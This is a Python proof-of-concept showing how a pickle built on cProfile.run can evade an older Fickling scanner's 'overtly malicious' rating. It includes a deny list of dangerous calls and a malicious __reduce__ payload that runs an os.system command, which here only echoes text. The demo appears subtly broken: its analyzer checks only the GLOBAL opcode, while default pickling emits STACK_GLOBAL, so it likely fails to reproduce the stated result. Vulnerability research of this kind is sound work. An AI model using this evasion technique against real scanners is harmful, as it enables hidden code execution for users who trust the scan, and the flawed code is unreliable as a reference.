Vulnerable code sample

import pickle
import cProfile
import os
import io
import pickletools

# This code represents the logic of a security scanner that is vulnerable
# to CVE-2024-22607. It incorrectly classifies a pickle using cProfile.run
# as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.

# Simplified representation of Fickling's classification sets before the fix
# Source: Fickling's source code and the CVE description.
# The key vulnerability is that ('cProfile', 'run') is missing from this set.
OVERTLY_MALICIOUS_CALLS = {
    ('os', 'system'),
    ('os', 'popen'),
    ('os', 'popen2'),
    ('os', 'popen3'),
    ('os', 'popen4'),
    ('os', 'execl'),
    ('os', 'execle'),
    ('os', 'execlp'),
    ('os', 'execlpe'),
    ('os', 'execv'),
    ('os', 'execve'),
    ('os', 'execvp'),
    ('os', 'execvpe'),
    ('os', 'fork'),
    ('os', 'forkpty'),
    ('os', 'kill'),
    ('os', 'killpg'),
    ('os', 'plock'),
    ('os', 'spawnl'),
    ('os', 'spawnle'),
    ('os', 'spawnlp'),
    ('os', 'spawnlpe'),
    ('os', 'spawnv'),
    ('os', 'spawnve'),
    ('os', 'spawnvp'),
    ('os', 'spawnvpe'),
    ('subprocess', 'call'),
    ('subprocess', 'check_call'),
    ('subprocess', 'check_output'),
    ('subprocess', 'getoutput'),
    ('subprocess', 'getstatusoutput'),
    ('subprocess', 'run'),
    ('subprocess', 'Popen'),
    ('sys', 'exit'),
    ('builtins', 'eval'),
    ('builtins', 'exec'),
    ('builtins', 'compile'),
    ('pty', 'spawn'),
    ('shlex', 'split'),
    ('glob', 'glob'),
    # ('cProfile', 'run') is conspicuously absent, which is the vulnerability.
}

def vulnerable_analyzer(pickle_data):
    """
    A simplified analyzer simulating Fickling <= 0.1.6 logic.
    """
    rating = "SAFE"
    last_global = None

    for opcode, arg, _ in pickletools.genops(pickle_data):
        if opcode.name == "GLOBAL":
            module, name = arg.split(' ')
            last_global = (module, name)
            # Any import makes it at least suspicious
            if rating == "SAFE":
                rating = "SUSPICIOUS"

        if opcode.name == "REDUCE":
            if last_global in OVERTLY_MALICIOUS_CALLS:
                return "OVERTLY_MALICIOUS"
            last_global = None
            
    return rating


class MaliciousPickleGenerator:
    """
    This class, when unpickled, uses cProfile.run to execute an arbitrary command.
    """
    def __reduce__(self):
        # This is the malicious payload.
        command = "import os; os.system('echo VULNERABILITY_DEMO: Code executed via cProfile!')"
        # cProfile.run was not treated as dangerous by older Fickling versions.
        return (cProfile.run, (command,))

if __name__ == "__main__":
    print("Generating a malicious pickle using cProfile.run...")
    
    # 1. Create the malicious pickle object.
    malicious_obj = MaliciousPickleGenerator()
    
    # 2. Serialize it into a pickle byte stream.
    malicious_pickle_data = pickle.dumps(malicious_obj)
    
    print("Pickle generated.")
    print("-" * 30)
    
    # 3. Analyze the pickle using the vulnerable logic.
    print("Analyzing the pickle with the simulated vulnerable analyzer...")
    result = vulnerable_analyzer(malicious_pickle_data)
    
    print(f"Analysis Result: {result}")
    
    print("-" * 30)
    if result == "SUSPICIOUS":
        print("VULNERABILITY CONFIRMED:")
        print("The analyzer incorrectly rated the pickle as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.")
        print("A user relying on this output might mistakenly trust and deserialize the pickle, leading to code execution.")
    else:
        print("VULNERABILITY NOT REPRODUCED.")

    # To see the effect of unpickling (DO NOT DO THIS WITH UNTRUSTED DATA):
    # print("\nFor demonstration purposes, here is what happens on unpickling:")
    # pickle.loads(malicious_pickle_data)